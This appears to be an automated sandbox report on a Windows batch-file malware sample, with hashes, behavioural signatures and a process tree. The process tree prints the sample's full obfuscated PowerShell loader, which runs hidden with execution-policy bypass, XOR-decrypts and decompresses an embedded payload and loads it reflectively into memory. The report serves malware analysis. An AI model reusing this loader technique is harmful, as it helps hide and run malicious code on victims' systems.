Analysis
-
max time kernel
30s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
18-05-2023 05:40
Static task
static1
Behavioral task
behavioral1
Sample
test_bat_c/96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
test_bat_c/96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
test_bat_c/e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat
Resource
win7-20230220-en
Behavioral task
behavioral4
Sample
test_bat_c/e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat
Resource
win10v2004-20230221-en
General
-
Target
test_bat_c/96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat
-
Size
3.8MB
-
MD5
6fc558d212f65828c274f27909e51aa7
-
SHA1
612487c386d838f506021ff846b47944b255a6a3
-
SHA256
96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7
-
SHA512
a9a2218f65e5c48c8906505f1da7061179e2a749c6e93146ea33badfb0d4bda04433861d144aa4decccaca2e1c4ddf0db67e749602cf1d41091c29426c8cab1c
-
SSDEEP
49152:2EqA3wg9X6szO4oX2nOw/YNBsXCzJtitbEbyzIBlkW1fMxpqZ8tAO3:z
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exepid process 948 96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 1708 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exepid process 948 96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exedescription pid process Token: SeDebugPrivilege 948 96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 1708 wrote to memory of 948 1708 cmd.exe 96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe PID 1708 wrote to memory of 948 1708 cmd.exe 96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe PID 1708 wrote to memory of 948 1708 cmd.exe 96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe"96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $XLWhh = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat').Split([Environment]::NewLine);foreach ($WsFgo in $XLWhh) { if ($WsFgo.StartsWith(':: ')) { $JxeYG = $WsFgo.Substring(3); break; }; };$chhJU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($JxeYG);$ZKRDr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3cgBc+XH5sweWk/CLj6TVRIWMhpkocSi4UhQ/JQ9ghE=');for ($i = 0; $i -le $chhJU.Length - 1; $i++) { $chhJU[$i] = ($chhJU[$i] -bxor $ZKRDr[$i % $ZKRDr.Length]); };$hfZVr = New-Object System.IO.MemoryStream(, $chhJU);$wXYTE = New-Object System.IO.MemoryStream;$DjQPH = New-Object System.IO.Compression.GZipStream($hfZVr, [IO.Compression.CompressionMode]::Decompress);$DjQPH.CopyTo($wXYTE);$DjQPH.Dispose();$hfZVr.Dispose();$wXYTE.Dispose();$chhJU = $wXYTE.ToArray();$ZCCzR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($chhJU);$wjVeh = $ZCCzR.EntryPoint;$wjVeh.Invoke($null, (, [string[]] ('')))2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/948-59-0x000000001B270000-0x000000001B552000-memory.dmpFilesize
2.9MB
-
memory/948-60-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/948-61-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/948-62-0x0000000002700000-0x0000000002780000-memory.dmpFilesize
512KB
-
memory/948-63-0x0000000001EC0000-0x0000000001EC8000-memory.dmpFilesize
32KB
-
memory/948-64-0x000000000270B000-0x0000000002742000-memory.dmpFilesize
220KB